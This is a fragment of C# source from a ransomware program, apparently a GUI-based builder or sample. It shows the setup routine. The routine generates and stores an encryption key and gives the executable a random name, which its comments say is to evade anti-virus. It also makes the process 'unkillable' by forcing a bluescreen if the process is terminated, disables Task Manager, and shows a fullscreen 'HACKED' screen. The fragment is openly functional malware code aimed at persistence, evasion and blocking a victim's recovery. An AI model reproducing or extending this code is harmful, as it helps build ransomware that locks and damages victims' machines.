// This method is used to check the basic needs for the ransomware, like if the encryption key was ever set,
// or its lenght is the correct size etc..
private void setup()
{
// Check if Encryption/Decryption Key was ever created on that machine
if (Properties.Settings.Default.key.Length != 34)
{
Properties.Settings.Default.key = Crypto.GetRandomString(34);
Properties.Settings.Default.Save();
Properties.Settings.Default.Reload();
if (debug == true)
{
write("Generated key: " + Properties.Settings.Default.key);
}
}
else
{
if (debug == true)
{
write("Key is: " + Properties.Settings.Default.key);
}
}
// Check if Application name is already set. If not, generate one
// This should be random to try to be undetected from Anti-Virus
if (Properties.Settings.Default.application_name.Length != 12)
{
Properties.Settings.Default.application_name = Crypto.GetRandomString(12);
Properties.Settings.Default.Save();
Properties.Settings.Default.Reload();
if (debug == true)
{
if (debug == true)
{
write("Generated Application Name: " + Properties.Settings.Default.application_name);
}
Log("Generated Application Name: " + Properties.Settings.Default.application_name, "Form1_Load > Generate Application Name");
}
}
else
{
if (debug == true)
{
write("Key is: " + Properties.Settings.Default.key);
}
}
// Make the process unkillable. It process is terminated,
// A bluescreen will appear.
if (Properties.Settings.Default.unkillable == true)
{
Make.ProcessUnkillable();
}
else if (Properties.Settings.Default.unkillable == false)
{
Make.ProcessKillable();
}
else
{
Log("Unable to detect setting for making application unkillable", "Form1_Load > Unkillable");
}
// If disable_taskmgr is true, disable task manager. else, enable.
if (Properties.Settings.Default.disable_taskmgr == true)
{
try
{
DisableTaskManager();
}
catch (Exception ex)
{
Log(ex.Message, "Form1_Load > DisableTaskManager");
}
}
else
{
try
{
EnableTaskManager();
}
catch (Exception ex)
{
Log(ex.Message, "Form1_Load > EnableTaskManager");
}
}
// Check what kind of theme is selected. You can find more information about this in Github Wiki
if (Properties.Settings.Default.theme == "default")
{
panel_theme_flash.Visible = false;
panel_theme_flash.Enabled = false;
}
else if (Properties.Settings.Default.theme == "flash")
{
// Set Window to be Fullscreen and overlap
this.WindowState = FormWindowState.Maximized;
this.FormBorderStyle = FormBorderStyle.None;
// Enable the Panel Control and make it fill the Screen
panel_theme_flash.Visible = true;
panel_theme_flash.Enabled = true;
panel_theme_flash.Dock = DockStyle.Fill;
// Position the Label and set its Text
label_theme_flash.Text = "HACKED";
label_theme_flash.Font = new Font(label_theme_flash.Font.FontFamily, this.Height / 16, label_theme_flash.Font.Style);
label_theme_flash.Location = new Point((panel_theme_flash.Width / 2) - (label_theme_flash.Width / 2), (panel_theme_flash.Height / 2) - (label_theme_flash.Height / 2));
// Setting up the Timer and the method
timer_theme_lash.Enabled = true;
timer_theme_lash.Interval = 1000;
timer_theme_lash.Tick += new EventHandler(timer_theme_flash_tick);
}
}
